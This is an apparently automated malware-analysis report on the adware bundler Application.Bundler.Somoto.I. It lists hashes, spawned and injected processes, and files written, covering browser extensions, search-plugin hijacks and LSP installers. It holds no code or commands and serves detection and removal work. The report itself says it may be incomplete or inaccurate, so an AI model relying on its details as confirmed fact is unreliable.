Application.Bundler.Somoto.I_9fd81c1199

by malwarelabrobot on February 25th, 2015 in Malware Descriptions.

Application.Bundler.Somoto.I (AdAware), SearchProtectToolbar_pcap.YR, mzpefinder_pcap_file.YR, SearchProtectToolbar.YR (Lavasoft MAS)
Behaviour: Malware

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: 9fd81c119909308d540861e600a43bd3
SHA1: 96e0a981b8a0c394bbe7ea74beb83969918a4717
SHA256: 8edae475bd4f014bc4c546ce726cbc499b9b762d73bcb0163f347c13874f09f7
SSDeep: 3072:R22ihA0m3BJf0v rl5mBNW7NPz4hB8aMwQmALOejnybAg:yA0m3T0v rSBN29zo8pwQLzybAg
Size: 166672 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-12-17 11:14:12
Analyzed on: Windows7Ada SP1 64-bit

Summary:

Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):

BaofengUpdate.exe:200
BaofengUpdate.exe:1872
YTAHelper.exe:1436
ProtectWindowsManager.exe:3832
ProtectWindowsManager.exe:2496
GLBF517.tmp:1872
YouTubeAcceleratorService.exe:2640
YouTubeAcceleratorService.exe:1192
YouTubeAcceleratorService.exe:3668
ins_postInst.exe:4064
ProtectService.exe:1956
ProtectService.exe:3492
8652fd7b-ad3d-42ae-954c-19d2b83040c5-4.exe:4516
5ca17.exe:2320
MsiExec.exe:4116
MsiExec.exe:4244
GLJF557.tmp:1840
appshat.exe:3356
biclient.exe:3640
wpm_v20.0.0.1714_0204.exe:488
ins_yta.exe:1652
appshat_generic.exe:796
testlsp.exe:628
powershell.exe:2344
powershell.exe:916
powershell.exe:3748
setup.exe:3592
setup.exe:2408
HPNotify.exe:1280
STab_Down_6.0.6.8.exe:3600
cmdshell.exe:3164
jsdrv.exe:3420
ShopperPro.exe:2220
Wueqljjrpxyh.exe:2588
78F8.tmp:2856
ins_shopperpro.exe:908
regsvr32.exe:2524
regsvr32.exe:2400
regsvr32.exe:3840
regsvr32.exe:3308
regsvr32.exe:2416
regsvr32.exe:3720
lspinst.exe:3432
lspinst.exe:3868
6641.tmp:2324
webplayer_installer.exe:3376
YTAHEL~1.EXE:2620
%original file name%.exe:3304
DCytaiesmt_smtyc_setup.exe:3680
cscript.exe:3476
spbiu.exe:3012
spbiu.exe:408
wscript.exe:5004
XTab_v4.0.exe:3476
taskeng.exe:1448
ytaiesmt_smtyc_setup.exe:1744
MSIEXEC.EXE:3448

The Application injects its code into the following process(es):

YouTubeAcceleratorService.exe:2448
YouTubeAccelerator.exe:3396
WebPlayer.exe:3932
EasyBurner.exe:4456
IEXPLORE.EXE:4528

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process BaofengUpdate.exe:200 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\modules\remoterequest.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\index.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\33FC.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\mystartsearch.xml (565 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\scrollbar.bmp (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\33EB.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\BFVUpdateM.dll (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code6.jpg (5 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\MessageBox.xml (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe (14022 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\quick_start.js (784 bytes)

The process BaofengUpdate.exe:1872 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\422.db (260 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\wpm_v20.0.0.1714_0204.exe (974 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (43 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\STab_Down_6.0.6.8.exe (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\RegWrite.exe (86 bytes)

The process YTAHelper.exe:1436 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (486 bytes)
C:\ProgramData\YTAHelper\config.json (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
%Program Files% (x86)\YTAHelper\config.json (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)

The process ProtectWindowsManager.exe:2496 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)

The process GLBF517.tmp:1872 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGFD56.tmp (93191 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (116073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe (24473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (16 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (6741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCF546.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLFFD57.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJF557.tmp (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLKF75B.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (5623 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LangPackU.cab (45 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLMF95E.tmp (12 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
